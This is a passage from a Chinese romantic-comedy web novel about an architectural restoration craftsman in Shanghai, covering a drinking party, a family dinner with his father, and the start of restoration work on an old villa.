“这年纪上来了酒就难下去了,是不是啊陆叔叔?”苏棠坐他旁边干看着,然后递来一句风凉话。 连张纸巾都没有,不像话! “小姑娘讲话不要太狂噢,你晓不晓得瘦死的骆驼比马大的道理啦?” 用手揩嘴,陆砚眼神挑衅苏棠,大有‘你一杯我两杯亦不在话下’的嚣张气焰。 苏棠回避。 爽! 大仇暂且得报! “陆砚你欺负人一个小姑娘算什么!” “就是就是!” 嗯? 颜朵突然发难他理解,这个‘就是就是’是谁跟的? 一回头,那沟槽的陈禹看着他‘嘿嘿’地笑。 跟着开团了。 第三十四章 爱闹腾 阿乐很伤心,陆砚很难受。 一个破财,一个受难。 但归根结底有共同的源头——沟槽的陈禹。 要不是他先倒在桌上不省人事,陆砚今天还真不会收手。 ...... “人家一还没出学校的小姑娘,你一入了社会的老油条,还是校友兼前辈,我们说好给她庆祝顺利面试,你这就开始欺负今天的主角了?” 陈禹一身正气站出来率先开炮,问就是‘亮剑精神’。 陆砚想削他但现在不合适,他知道陆砚想削他,但这不是还没削嘛? 何况,他不是孤军奋战! “师哥,上司,这要搞起霸凌来不要太容易噢~” 好死不死阿乐人如其名爱找点乐子,当然,这一刻他还没料到今晚会‘损失惨重’的事实。 “你俩别狗......” “陆师傅,对不起!”苏棠赶紧道歉认错。 声音细腻的哟,像那个被国王泼了杯凉水的韩国女演员! 合着全场就自己一个坏人呗! 完了。 时下空气紧绷,头顶的吊灯目不转睛盯梢众人,他空有真相但无一信徒。 好你个苏棠...... 诸位,女人的外表具有欺骗性,这点对于旁观的陌生人来说尤为重要,切记! “不像话!喝!” 大战一触即发。 陈禹一杯他一杯,阿乐一杯他一杯,再然后是抄后哨的颜朵以及‘苦主’苏棠。 两个女生半杯他一杯就算了,关键颜朵还喝的饮料就过分了! 这么一圈下来,倒是沉默上观的林晚声最像好人。 于是他今晚就栽了。 当陆砚以‘陈禹明明是个要结婚的人却慨然为其他女人发声’为由,将陈禹也拖下水打了一圈后,事态逐渐往不可控制的方向发展。 “陆砚两年前你还欠我一杯酒,我猜你肯定忘了。”阿乐端杯,一手握住他说。 “我什么时候欠你酒了?” “你看,我就说吧!你肯定忘了!” 阿乐是个妙人。 反正今儿个开心,那就喝吧。 因此兜了一圈,陈禹便无意间得知‘他两年前欠陆砚两排酒的‘事实’。 不对,已经变成事实了。 陈禹是个秒人。 没一会就不行了。 论喝酒他得跟女人和小孩坐一块。 杯盏交织短暂歇,主旋律变得松弛而摇晃。 新仇得报,心情大好,斜眼望,天下英雄谁人敌手? 整场下来不过些许微醺罢了,陆砚心想。 苏棠这次学乖了,避过视线假装玩手机; 颜朵去给陈禹买解酒药; 阿乐倒是还行,但一想到今晚酒水都由老板买单他就不敢睁开眼。 所以,小小苏棠,可笑可笑。 陆砚决定强化一下他的师道威严——以说教的方式。 “苏......” “陆砚。”是林晚声,“一晚上就独独把我漏了说不过去吧?” 没错,这点他陆·古希腊掌管饮酒的神·上海分部·古建司·砚认了,曾经最爱凑热闹的那个林晚声今天居然安安静静呆在一边,也不知道是什么原因。 这为他扫平四国提供了不少帮助倒是真的。 “我怎么可能把你忘了。” 陆砚双手给她倒上酒,碰杯、仰头清空,溢出的酒液顺着喉结流入工装衬衫。 微凉的液体、炽热的胸腔,场上唯余他喉结吞咽的声音。 味道是通往过去的钥匙,思绪顺着酒精发酵,酿出深切怀念的滋味。 我怎么可能把你忘了。 “一年不见,酒量见长啊。” 她拿起酒杯,眉眼弯弯,宛如人间月亮。 “喝酒嘛,你知道的,跟兴致很大关系。” 陆砚兴致确实不错,即使脚步摇晃也有信心笃定——他没事。 “那再碰一杯。”她说。 ...... ‘那再碰一杯!’ 画面中,青涩的林晚声结束唱台的兼职便吵着要喝酒,关键她喝起来又全无章法: 什么‘不能混着酒喝’、‘不要喝太急’亦或是‘等酒沫散了再喝’,统统没有。 不劝酒、不管三七二十一,她只管碰杯,喝的就是一个尽兴! 看似草莽江湖气,实则彻彻底底践行着‘喝酒为我’的道理。 或许很多人喝了大半辈子酒,还不如一个小姑娘纯粹? 此刻她面颊酡红,笑靥如花,嚷着、吵着要喝。 陆砚知道这不是争强好胜,所以还有什么理由阻拦呢? 陪着呗! ...... “最后一杯咱们喝一个,敬......自由!” 看向林晚声,女孩一如当年模样。 曾经有两件事物是少年一生追求:真爱和自由。 如今年纪渐长,有些幼稚的词汇就不适合说出口了。 “敬自由。” “敬自由。 她递来一杯酒,两人对望着,喝下。 有人的脸是一条直线,一眼就可无遗; 有人的脸则是迷宫,怎么看,都走不出来。 林晚声眼神下的这杯酒,滋味极浓......仿佛有种使人昏睡的魔力。 因为加了伏特加! 呕...... 不只伏特加! ...... 一觉醒来,仿佛陷入温柔乡。 米色窗帘缝隙间透过亮眼的日光,26℃的房间就成了夏末的救赎。 这是哪? 是酒店。 自己一个人。 陆砚拿起床头柜的牛奶一饮而尽,方才镇压刺痛的脑神经。 所以昨晚断片后的真相只有通过手机来重拾。 未接电话,无。 微信消息两条。 椰子(张野):听说昨天喝大了?怎么个事,下次哥们帮你喝。(呲牙笑) 无关信息,划走。 @adeline:那你要注意,别像上次一样喝醉了。(小兔子严肃.jpg) 这条是紧接着昨晚没聊完的话题,再之后就没了。 至于林晚声那边...... 他勉强能工作的神经想了想,还是通过陈禹找颜朵打听消息吧,毕竟昨天她喝得不多。 所以,应该又是阿乐安置他的。 ...... “喂,陆哥?” “老洋房那边怎么样了,这上午你们开始了没。” 出租车后排,陆砚准备先回家换身衣服。 “上午就简单搭了几个脚手架,再把该保护的地方遮了一遍,这不等你呢嘛。”张野乐呵道。 在他的认知里喝到第二天爬不起来是件丢份的事。 事实也确实如此。 那酒当时怎么就没喝出异样呢? 防人之心不可无啊陆砚! “成,你们吃午饭没,一会我带点过来。” “嘿,”张野又是一乐,“今天伙食升级,杨督察请的。我说不用,结果她说复工得吃点好的我也就不拦着了,谁叫人家有实力呢!” 陆砚大感慰怀,小杨同志这波甚得我心。 林晚......苏棠,扣大分! ...... 苏棠美美吃过今日份奢华工作餐后,心里开始泛嘀咕。 不对劲,杨老师今天不对劲。 虽然在她的视角里杨老师依然端庄美丽,但.....有些过于端庄! 不管说话还是点餐为众人庆祝,身上那股淡淡的抽离感始终存在,就像把身体交给系统托管了。 “杨老师。” 杨灵把视线从平板上收回,看向苏棠。 “刚吃完午饭就工作呀,平时组里都这么忙吗?” “我也不清楚,但现在你可以休息的。” 她有注意到,张野在教冯小军拆楼梯扶手栏杆,老周在给老化部件打标记,小赵则是给彩绘拍照采用。 想必保持这样的势头下去,要不了一个月外包施工队就能进场了。 像老洋房这种大工程的古建修缮一支6人小队是远远不够的,好在陆砚团队的基础人员配置和素养都很全面,把方案和前期工作做好以后引入外包木匠、瓦工、油漆工和景观工做落实是没有问题的。 彼时,小组每个人都是分管组长。 然而杨灵不知道的是,他们之所以这么勤快主要是吃人嘴短。 请客且不在这拿工资的都还积极工作,他们能闲着? 陆砚不在场,他们敢闲着? “杨老师,你今天有点严肃......” 苏棠她啊,超勇的,有话都是直言不讳。 大概这就是e人的魅力时刻吧,杨灵不讨厌这样的性格。 “之前是少数,这才是我本来的样子。” “是因为陆师傅不在吗?” 杨灵皱眉,有点不喜欢她的性格了。 这跟陆砚有什么关系? 虽然有部分是因为他,也没说错。 但工作就不该认真了吗?即使他在这也得认真工作呀。 “好的杨老师,我有不懂的问题再来问你。” 察觉气场凝固,苏棠连忙退至众人之中。 呼,跳脸皮一下真刺激! 等会陆师傅来了我再试试~ “小苏啊,笑什么呢?” 浓眉大眼的张野以及今天头上抹了发夹、如今蒙上灰的冯小军双双投来目光,动作同步,颇有默契。 苏棠再次甜甜一笑,“想《暗恋》的对象呗。” 张野:?! 冯小军:!!!!! 第三十五章 晚饭点 青砖经由岁月风霜变成了灰砖,外墙覆着斑驳苔痕。 穿过铁艺栏杆环绕的前院,老虎窗下,坐门口专注屏幕的人牢牢吸住他目光。 “杨小姐~” “现在是工作时间,陆师傅。” 初秋,穿云而来的光不骄不躁涂抹在杨灵身上。 今天依然淡淡妆容,小脸雅质而宁静,恰如风中摇曳的白玉兰。 见到她,陆砚心生淡淡喜悦,连生活,这个处处跟他作对的顽童都瞧着喜人了几分。 “那,杨博士想吃什么菜,今天老陆掌舵、我打下手专门给你做。” 陆砚站在背光面,投下的阴影打在对方身上,他看着她,这个距离不远不近刚刚好。 “......晚上是叔叔做饭吗?” “不用多想,这就叫能者多劳,他做饭对我们大家都好。” 虽说陆砚两个‘父’都会做饭,确实跟着学了几手,但哪有本尊亲自动手效果来得好呢。 “只要不是太辣我都行,没有忌口。” 说完,低头看图表没再开口的意思,仿佛今天就是项目deadline。 对此陆砚暗自欣赏——公私分明更符合一段健康关系的发展。 “杨博士你这是在看论文?” 在通篇外文的页面扫到了几张概念设计图,示意性的图形和标注一眼就能判断出来。 陆砚汗颜,虽然有住建局李主任口谕——‘传统工艺结合智能监测,既保安全又留文脉’。 不过让督察领导如此操心他的本职工作实在是不该。 “杨博士?” 没理他。 好吧,没想到你工作的时候是这样的人设。 陆砚拐进客厅,扫了一圈没见人影。 楼上传来木头敲击的响动,寻声上楼,然后看到这一幕: 二楼阳台的雕花栏杆前,张野握着凿子的手以违和于它平时粗粝的精度剔除侧柱虫洞边缘的朽木。 冯小军捧着新制的柞木楔子候在一旁,看张师傅手腕翻转间凿刃与木纹斜斜切入的角度。 这一幕他熟悉。 用凿尖、手指叩响木芯,若发出的声音闷而实,则用猪鬃毛刷顺着年轮走向扫去碎屑,随后他便在老杨头旁边递上调配好的桐油灰,看师傅用牛角刮刀将灰浆抹入虫洞。 那时他年纪不大,杨老头也没这么老。 另一侧,老周的手脚架立在偏厅中央,深棕色的实木房梁在他头顶横跨。 他单膝跪在脚手板,鼻尖几乎要碰到梁身的榫卯接口,左手食指顺着木纹游走,指腹偶尔触到某处微小的裂痕时骤然停顿。 陆砚真想把杨灵喊上来看看,看看老师傅们是怎么用自己的身体去切身体会老物件的悲喜。 不是守旧。 他始终认为,上面留有他们余温的老木头不是那些仪器可以比拟的。 苏棠的相机快门声隔一会才响起一次,半跪在楼梯转角的雕花扶栏旁,镜头对准的是被红漆标记过的雀替构件。 这不算关键节点记录,亦不是重要构件取样,但小姑娘很认真: “含水率 18%,纤维结构密度 0.62g/cm3,榫卯接口胶层厚度 0.3mm。” 好吧,走的是杨灵‘维新派’的路子,也挺不错。 小赵呢? 陆砚在原地环视一周也没看见,于是将目光穿过长长的客厅、跨越阳台,投向后院。 后院门前的阴影里,小赵举着比色卡仰头望向房檐。 笔尖划过纸面的‘沙沙’声与远处传来的木工锉刀打磨木料的‘滋滋’声,在静谧的老洋房里交织成独特的工作乐章。 整个老洋房里,工具与木料的私语、笔尖与纸页的交谈、目光与构件的对话,都在这片安静的空间有条不紊地进行。 仿佛时光在这里特意放慢了脚步,只为让这些专注的身影,将岁月的痕迹细细修复。 ‘不要让手艺埋没了,务必’ 那天说出这句话时,老人脸上的皱纹,历历在目。 放心吧,包不会的。 ...... 橱柜门的合页总发出‘咯吱’声,老陆正对着陆砚家生锈的灶眼发呆—— 旋钮转到第二格时,蓝色火苗‘噗’地窜起,边缘却泛着不稳的橙红,像极了上周在老家收到的婚礼请柬上那抹喜庆的红。 ‘老陆啊,你家砚砚啥时候让我们喝喜酒?’ 刀刃切进番茄,果肉的酸味涌上来。 老陆想不明白,明明自家儿子从小学开始就有女孩堵上家门,初中以后,每年生日都拧着大堆礼物回家; 长得好、学习好、工作上进,现在收入和房子都有了,处处优秀、领先县城同龄人的儿子,怎么会在人生大事上落后这么多呢? 邻居家的二十三岁结婚,现在孩子都会叫‘陆爷爷’了,哪有网上说的‘结婚难’? 这就是大城市不好的地方。 肯定是诱惑太多,年轻人心定不下来的缘故。 再说了,现在风气也变了。 今天他过来才知道,陆砚跟旁边住的邻居竟是半点不熟络,这哪里得行? 不说多社交吧,近距离的交际不能省略啊! 最近还出了个什么词?社会恐惧症?这么腼腆哪里找得到老婆...... 直到油锅开始冒烟,他才惊觉油放多了。 好在做菜这件事的容错远比外行想象中的要高: 和面粉知道吧,水了多加面、面多了加水,比例是对的就行。 铲子翻动间,橙亮的汤汁咕嘟冒泡,在这里面他看见今天菜市场的枇杷摊。 穿花衬衫的小贩举着塑料袋喊:“最后一茬白沙枇杷,给孙子带点呗?” 而他,捏着皱巴巴的清单尴尬笑着——儿子连女朋友都没有,哪来的孙子? 为这事,陆砚妈已经说叨了好多回。 早先他站在陆砚这边,男人以事业为重没毛病,但这几年下来就不这么想了。 油烟顺着老式抽油烟机的缝隙漫出来,老陆咳嗽着往锅里倒热水。 白气升腾,玻璃上自己的倒影那样清晰: 鬓角的白发比去年又多了些,围裙带子松松垮垮地垂着,像条没精打采的蛇。 他的壮年已经走完了。 以前,陆砚六七岁,他一只手可以把他拧起来;以后,陆砚的孩子六七岁,只怕是再也不能了。 陆砚将会站在他曾经呆过的位置,作为一个父亲,一个肉眼可见比他更优秀的父亲,护送他的儿子、老陆的孙子继续往前走。 与自己血脉相连的一大一小会带着‘他’、替他走过从未设想的路。 不论过去的悔恨、遗失的爱、做错的事,不管结痂之下依然渗血的伤、人心的脏。 他的平庸与懦弱,失意和怅然,都会被结清,一切还能再来。 如果可以看到儿子的儿子,儿子的儿子的儿子,继续向前的背影,那么这一刻他会是骄傲的,伟大的...... 橱柜上的老挂钟慢慢指向六点,陆砚说今晚会带朋友回来,他攥着汤勺的手指有些茫然—— 那串在喉咙里打转的‘结婚’二字,该怎么混在这锅热汤里,才能不烫着孩子的耳朵呢? “叮咚——” 电梯门响,门外有清晰渐近的脚步和隐隐约约的讲话声: “都怪你,弄这么慢!” “谁知道你们路上还要买东西啊。” 第三十六章理智的生气,让人一点都气不起来 “小姑娘你吃菜。” “谢谢叔叔,我自己来。” 老式客厅将茶几稍一稍、把半折叠餐桌铺开,四个人,四菜一汤刚刚好。 其中番茄鱼、清炖蟹粉狮子头是特意做的淮扬菜,汤汁浓郁淳厚,这便是菜肴的特点。 “那个小姑娘,你也别客气呀。” “谢谢叔叔。” 眼下这个情况让老陆有点措手不及。 陆砚也没料到喊了一圈最后只带回来两个女人。 张野没来,还鼓捣着老周和小赵也不来,他们不来,实习生也就不来了;陈禹他们昨晚聚过。 至于顾南乔,她原说今天忙,杨灵不知道用什么法子让人改口了。 想来她也是做律师的好苗子。 老陆看向陆砚,怎么是两个女人呢?这就是大城市吗? “我们仨是好朋友。” 杨灵客串女友那回顾南乔不在,导致现在有点不好意思延续这个说辞。 反正后续还有机会,不急于一时。 “对啊叔叔,听说您手艺好,今天专门蹭饭来了。”顾南乔说,“而且也巧,叔叔烧的全是我跟灵灵爱吃的,这不缘分嘛。” 老陆大感慰怀,在他耳里这句话犹如‘不是一家人不进一家门’那样明晃晃。 这女孩大气、贴心,看着就优秀。 “陆砚,我这几手你得学会,知道不?” “得,以后改行当厨子,圆你中年梦。” 老陆不悦,心道这孩子忒不懂事,不懂奉献自己的男人有哪个女人会喜欢? 时代变了,男人进厨房不但不丢人,还加分! “叔叔不介意的话可以开个班,灵灵特喜欢学做饭,偶尔让她烧给我们吃也不是不行呀!” 他看向杨灵。 “......对,叔叔,做饭我一直很想学。” “...” 懂了,感情这位才是正主,前面是这位请来的陪客,自己搞错了。 嘶—— 越看越和陆砚有夫妻相,果然年纪大了容易眼花,差点把儿媳妇看走眼了。 “害,杨灵小姑娘啊,这做饭呢两个人有一个会就行了,”老陆一本正经说,“最重要的是,另一个人爱吃他做的饭,这就是最幸福的事......” 在老陆描述中,他无限肯定且拔高了不会做饭的一方在做饭过程中不可或缺的价值,然后借此宽慰杨灵,势要让人觉得他是亲切的、和蔼的,他们家是亲切的、和气的。 陆砚小子,你就学着吧。 要是你在我的时代跟我同台竞技,那将又是一次不亚于周瑜遇见诸葛亮的悔恨! 杨灵坐姿极好,背挺直、双腿并拢,单手撑下巴不时点头,结合气质,真有学生听讲做笔记的既视感。 “行了,大人,你不晓得现在年轻人最怕‘爹味’,难得吃饭不要说教了好啵。” 陆砚认为杨灵看起来认真、实则正处于水深火热的煎熬中,作为一切的始作俑者,他有当仁不让的解围义务——就像那天帮她代酒一样。 “我觉得叔叔说得很有道理,多听听是有好处的。” 墨斗先生:背刺我? @adeline:真有好处(小兔子点头.jpg)。 好吧,虽然是脑补,虽然背刺发生了,看着老陆越来越欣慰的目光也是值了。 先前还说杨灵性格内向,是怕冷场才把顾南乔喊上的。 如今看来,讨长辈开心不是很有一套嘛! “我觉得我爸已经被拿捏了。”陆砚侧过去跟顾南乔说。 “拿捏个鬼,灵灵真听进去了!” 什么?! “灵灵我跟你说啊,这男人是最懂男人的,就拿陆砚说,你要是管得紧了他不舒服,你要是完全不管他又不自在......所以说最好的方式就是要像放风筝,看似给他自由实则都在掌控之......” “停,停停停——” 我去,当着我的面,这算跳脸了吧? 我还没走呢! 那些奇奇怪怪的知识不要钻进纯洁的大脑啊! “吃饭还堵不住你的嘴?”老陆头都没回。 看杨灵眼神亮晶晶的,陆砚人都麻了。 她不像演的。 顾南乔:“叔叔,讲讲陆砚小时候的事呗,他以前受不受小女生欢迎?感情史怎么样?” 嘿,说到这个老陆更来劲了。 从小学就有女生堵家门口说起,一直讲到邻居家刚毕业的小伙子现在连孩子都有了结果陆砚还没有结婚的打算...... 就是说,男人原不该这么多话,两种情况除外: 在饭桌上;有美女在旁边。 当两者集齐的时候,说话是不带把门的。 ...... “我爸今天说得有点多,听听就好,别在意。” “噢。” “噢。” “顾乔乔你‘噢’个什么劲!” “你还真别说,我是真的‘噢’,灵灵是应付你的。” “什么意思?” “乔乔!” “你要领悟的东西还很多,我到了,祝你好运吧~” 原来顾南乔搬到长宁路了,她拧包踩高跟鞋走进小区时,陆砚才发现今天这身意外的端庄。 直到目送她扫脸进小区门才将车再次启动。 “杨小姐,给个地址呗,今天老陆在,住我那不方便。”顾南乔走后陆砚就随意不少。 杨灵下班先把车开回家,然后买好东西后陆砚才把她们接过来。 “...” “不是吧,我真是好人!” 他有些受伤,法治社会,这是防谁呢? “陆砚,如果......你的朋友不开心了,你会耐心道歉吗?” 这合理吗? 陆砚心道,他不开心凭什么我道歉? 转念又想,要是把这个‘朋友’带入成杨灵的话,也不是不行。 “有......啊。” “有多耐心?” 不对劲。 “耐心的程度主要看你生气生得合不合理,如果我犯了错误,那我应该会尽力保持耐心、向你道歉。” 他已经认定这个朋友就是‘杨灵’了,她也没反驳。 “记住你说的话。” “记住了......怎么了?” 陆砚像老陆看到两个女孩子同时进家门那会一样摸不着头脑。 我也没做错什么呀? 上次发现你‘爱记仇’之后,咱也不敢再做什么了呀。 以前是不小心吼过你,那事不是过去了吗?现在我们是亲亲的好朋友啊! 一愣神功夫,就看见杨灵推开门准备下车。 “喂等等,”他有种对方正在开玩笑的轻松,又有种‘对方可能不是在开玩笑’的紧张,“杨灵,我们没事吧?” “陆砚松手,我现在不想看见你。”她好像生气了,但语气又丝毫不严肃,简直就像是,就像是背台词。 呵,松手? 打死他都不会现在松手啊。 也不敢用力拉她,于是挪到副驾驶,自己努力往那边凑。 “我亲亲的杨小姐,把话说清楚,让小的今晚睡个好觉呗。” 听说真诚的笑脸可以抚慰人心,但效果不一定立竿见影。 杨灵往顾南乔的小区走了。 再次目送对方在同样的地点刷脸进小区,今晚‘单独送人回家’的环节便就此收尾。 经过刚才对话中的一系列铺陈,陆砚确认了一件事,他做了让杨灵生气的事,然后她希望陆砚拿出诚意来道歉? 问题是,我错哪了? 不过杨灵有点很好,没有不分场合乱发脾气。 而且有一点比以前更好,没像在住建局会议那次冷不丁地让人下不来台,甚至明确给了合格标准——耐心哄她。 陆砚自嘲地想,爱背条款的人向来守规则,没想到就连生气也给了一个‘和好’标准。 这当然算优点啦! ...... “那,那我回去跟你妈要怎么说。” 老陆本就借着单位出差‘顺路’送衣服,明天上午就要走。 “......我觉得,之前的相亲对象,那什么小学老师应该不用联系了。” “好,好。” 也不知道老陆在好个什么劲,本着‘他好我也好’的原则赶紧跳过这一part才是最好。 “杨灵,”怕老陆把人记混,又说一遍,“不是顾南乔,别搞错了。” “去去去,把你认错也不可能把那个小姑娘认错。” 陆砚当然知道杨灵有多好,老陆认可也很让人高兴,但拉踩就过分了。 “话说那小姑娘是上海人?家里什么情况?” “...” 他也不知道,但不能让老陆觉得他不知道,同时还不能说谎。 反正,要跟老陆交代的都说一遍就不再啰嗦了,眼下他得回房间把事情做完。 施工日志—— 9.28,晴,温度19℃-29℃ 施工部位:老洋房整体现场勘测与基础准备 施工人员:陆砚、周瑞松、张野、赵立言、苏棠、冯小军 施工设备:全站仪、卷尺、相机、对讲机、工程车辆 施工进度:完成现场勘查工作,技术交底覆盖率 100%,施工准备工作基本就绪,整体进度符合预期计划。 质量安全情况:...... ...... 墨斗先生:顾律师,下车前你说‘祝我好运’,这话不灵啊! 那边很快就回复了。 我系统呢:有事顾律师,无事顾乔乔? 陆砚无视不痛不痒的暗讽,接着打字。 墨斗先生:她这气生得我摸不着头脑,需要大师解惑。 我系统呢:请大师没有香火钱?你在作践谁?(请投币.jpg) 墨斗先生:别废话,都哥们,小事不在话下。 网传哥们就是‘除了行动以外全力支持’,谁让他仗义呢,等结尾款了请顾乔乔吃顿好的。 我系统呢:她不让我说,所以哥们只能祝你好运了。 第三十七章 有问题 正常情况下、老洋房的主人,即甲方,想要进行安全性修缮自家洋房,需要把材料递交属地街道办事处,经由一系列漫长的咨询、材料收集、核实和审批以后,由属地街道办事处抄送至住建局等部门。 一言以蔽之,这个老洋房项目是怎么和文保局扯上关系的? 陆砚很久以前就不明白,虽说这栋房子的资历确实够了,但门口没挂上‘历史建筑保护单位’的古铜色铭牌毕竟是不争的事实。 所以......杨小姐这边又是以怎样的名头冒出来紧急喊停的? “老板,两个糍饭团两杯豆浆两个茶叶蛋。” 车停在路边早餐店,陆砚觉得既然项目已经进行到这了自家师父还没发话,杨灵他们的监管肯定有自己的道理...... 最重要的是,不能在这个节点去做些质疑的举动。 人家不是说了吗,现在不、开、心! 时间来到8:20,发微信‘慰问’,对方打字慢、不方便。 而且她应该不用花那么长时间化妆之类的。 想到此处,陆砚决定打个电话以表诚意。 “早上好杨小姐,今天给你带了早餐~” “......可是我早上不过去。” “......不好意思,这几天在收拾行李准备搬进去,差点真以为我们要同吃同住了。” 他看不到她的眼睛,但是知道她的心意。 真正要走的人不会大张旗鼓。 一个连生气都会先确认对方会不会‘哄’自己,然后当面告知的女人,她是理智且不安的。 所以如果想要走在一起,他应该在细节处给予对方安全感。 陆砚认为,‘口花花’也算一种给予安全感的方式,前提是只对她一个人。 “陆先生你应该知道,我有个律师朋友,所以之后请你说话措辞准确一点。” 那边声音软绵绵的,半点威慑力没有。 “你这是,还没起床?” “嗯——,不管有没有起床,至少我希望已经起床了的陆先生不要迟到才好。”她顿了一下,说道:“噢对了,反正没甲方过来监督,你想什么时候过去都行。” 瞧瞧,你瞧瞧。 请一个人专门来监督多费劲啊,人与人之间的基础信任不能丢的! 本想开口继续跟她斗嘴,但没忘记这通电话的根本目的,索性让她赢吧。 “好的,我知道的。”尽显温顺地说,“那你记得吃早餐了再睡,或者一会你发位置给我,我帮你带午饭。” 所谓免费的讨巧话便是:明知对方不会给你添麻烦,但你却一副‘我愿意’的姿态。 事实证明,这很有用。 “知道啦......谢谢。” 8:23。 三分钟的关心足以让一个人心情美丽,陆砚说的是他自己。 赠人玫瑰手有余香嘛! ...... “张哥,什么是‘交底会’啊?” “就是开会呗。”张野啃着油条,目光却在苏棠手里的糍饭团和豆浆上打量。 “那为什么要叫‘交底会’啊?” “要把底裤亮出来呗。” “...” 冯小军这便宜师傅的专业程度还不如寝室里那几个天天打元神的废柴室友,偏偏他还敢怒不敢言...... 对此只能说,几千年的酒桌文化博大精深,调教效果甚是明显。 趁赶早,趁着大伙早餐还没吃完,他准备顺便查一下所谓的‘交底会’。 “张野你别胡咧咧乱带小朋友,”老周唯独在工作原则上保守且不容冒犯,当即准备纠正:“小胖子你过来。” 冯小军左右打量,吃惊张开嘴巴。 你叫我?大爷你礼貌吗? “周哥。” 论年纪喊周伯伯完全合适,但小胖子选择跟张师傅喊一样的,这就是素质! “你说说三大原则。” 老周老神在在,恨不得把这几年凸显年轻而刮掉的胡子全接上来、以便人前显圣的时候捋上一捋。 “啊?我不到啊。” “什么?!” 原本他的腹稿是,‘没错,虽然你会背,但其中的深意、运用到现实中的实际落差,都需要积年累月来堆砌、得用资历来熬’。 如此输出,方才舒坦。 却没料到...... “你连这都不知道?你不是大学生吗?” 冯小军麻了,大学生怎么了,他周围都是大学生,也没几个惊为天人的呀! “周哥,我学土木的......” 非·众所周知: 在设计理念上,土木追求经济,古建力求文化传承,两者道不同。 老周这个手持‘非物质文化遗产传承人’证书的老师傅眼里的光暗淡了。 “修旧如旧,最小干预,可逆原则。” 自然不能看着花圃的花就此枯萎,陆砚拍拍冯小军肩膀准备接替老周代为科普。 当然,这说法是简易版本,原则自然不会仅仅三条。 但要真把这三条执行到位的话其实也足够了。 “陆哥,后两条不懂。” “陆哥,后三条不懂。”张野扣扣脑袋。 “...” “...” “小师妹,你来给他们讲。” 陆砚差点一口气没绷住,张野,酒精脑有点东西。 其实‘最小干预’就是字面意思,能不拆就不拆,能小面积坚决不大面积; 这‘可逆’通俗来说就是,胶水、涂料,你怎么修的要能怎么拆下来,以便未来再次修复。 这种入行就该滚瓜烂熟的话不想再说一遍了,还是美人计吧。 他得去外面走走,外面环境好。 虽然前院的花圃还没打理起来,但有心人却可以闻见春天花丛盛开的香气。 如果允许,届时会悄悄回来摘一朵鲜红的玫瑰,送给身边最亲爱的人。 以他的履历,想必被房主发现了也无甚大碍。 走出老洋房前院铁栏,路两旁种满高大的法国梧桐,此时九月末,街道外竟是晒不到太阳。 此处位处被誉为‘上海最幽静的街道之一’的新华路,没有徐家汇的热闹和人头攒动,也没有淮海中路上的城市快节奏。 所以说贵有贵的道理啊! 在脑里准备了一下交底会的腹稿,顺便带一件瓶装水回去。 老洋房动工第二天,上午的工作正式开始。 ...... 顾南乔走出第二中级人民法院法院,被告方提起上诉的二审审判也在今天尘埃落定。 她坚守了心中的正义,博得了委托人的感激,同行却背地里笑她不知所谓。 当地律师视作烫手山芋、纷纷规避的案子,她接了。 饶是请外地律师来打击本地‘婆罗门’,外地律师也不会用这么‘直楞’的方式胜诉,她用了。 顾南乔就是这样,不这样做,就不是‘顾大律师’了。 高跟鞋磕在地面,胜诉没有带来半点愉悦。 半小时前那场庭审,高高的审判区下、由一道栏杆隔开的旁听区内,顾明远并没有到场,让她松口气。 被告人是那个姓王的建材商,拖欠款项累计1.2个亿,当然,顾南乔这边需要索要的款只有七十来万而已。 查他主要是为了证明对方无还款诚意以便后续强制执行。 直到法官宣读判词后将法槌磕响那刻,平静的心开始怦怦跳。 她仿佛成为被告,而原告席上、顾明远赫然在列。 她知道,对方不会较真,即使他愤怒站在原告席; 对方不会深深伤害她,即使判决结果对自己不利,执行阶段亦会放任自己自如。 可是她,却辜负了...... 粉色路虎标志性大尺寸进气格栅,犹如一张霸气的大嘴、呼啸间吞吐划过的气流,舒适的驾驶室里,顾南乔有点喘不过气。 她想去老洋房看看,于是驶往新华路。 第三十八章 施工中 穿过井然的法国梧桐,经由的空旷的街道,新华路和华山路的交界处,和杨灵那辆保时捷同色系的路虎在老洋房前院的铁艺栅栏前驻留。 驾驶室内,厚重的芬迪太阳镜下藏着顾南乔失焦的眼睛。 在这待了多久? 也许三十秒,也许十分钟。 随着正右侧梧桐树落下第十七片叶子,一声轻叹,她拨通‘灵灵’的电话,然后这辆外表刚强的大家伙缓缓开动。 后视镜里,洋房前院只有那辆孤零零皮卡在阳光下。 ...... “老周打了红色标记的,就是濒危构件,路过的时候绕开走;看起来完好,没有打任何标记的,就是非施工区域。张野你等会带冯小军用防护罩都隔离起来。” 不要错意,这里的‘都隔起来’是指‘所有’。 “陆师傅,不是要开‘交底会’吗?” “小军啊,交底会是开给上面的人看的,你看今天杨督察来了吗?” 话这么说当然不对,所谓交底会是必然工作流程,至少要把施工任务和要求、相关事项和安全,以及责任划分讲清楚。 苏棠想刺陆砚一嘴,随即觉得还是单独跟他聊比较有意思。 “所以陆师傅,我呢?” 杨灵不在,她就跟着陆砚,之前约好的。 “老周一会给濒危构件搭临时支护,看到你斜前方歪闪木支柱的支顶了吗?你负责把加固前后的状态记录下来,简单做个数据录入。” “那,这属于大木架落架还是重要构件取样?我是拍照片还是拍摄 4k视频存档?” 白色打底衫、蓝色背带裤搭休闲鞋,说她正式吧,她在施工现场穿白色;说她不专业吧,可人家的衣着款型很干练,无限接近于工装。 所以,有时候一个人的衣着就能反应性格,像苏棠,就介于懵懂的小白花和做作绿茶花之间。 “...” 陆砚并不认为对方不懂,只觉得她吵闹,索性丢给去一个‘你懂得’的眼神,然后去后院门檐下帮搞彩绘的小赵记录彩绘构件。 修缮项目中,彩绘修复一般处于整体修缮工程的中后期。 一般在老洋房结构加固、墙体修复等主体工程基本完成、且建筑环境相对稳定后,再进行彩绘修复,以避免后续施工对彩绘造成损坏。 不过这不意味小赵就是闲人一枚。 前期采集彩绘损坏程度、颜色、图案等信息就够喝一壶,再者说,后续还得制定详细修复方案,明确方法、步骤和时间安排等。 私以为,古建修复之于一般工程的区别是,每个小细节就是一个一般工程。 这么多事项当然不是一个人的事,说起小赵,那不得不说老赵。 就像在90年代古建圈子里提起杨启文一样,老赵是根正苗红的彩绘修复师。 那会不兴什么‘一级’或是‘高级技师’,只看你祖上是不是这行、做过哪些大事情,这些实打实的东西比证书管用。 现在截然不同。 没证做不了项目,是以老赵以及老赵的班底门生单独接不到活了。 好在小赵争气,拿了个三级文物修复师,参加名义上还不是‘文保’级别的百年老洋房修复,够格。 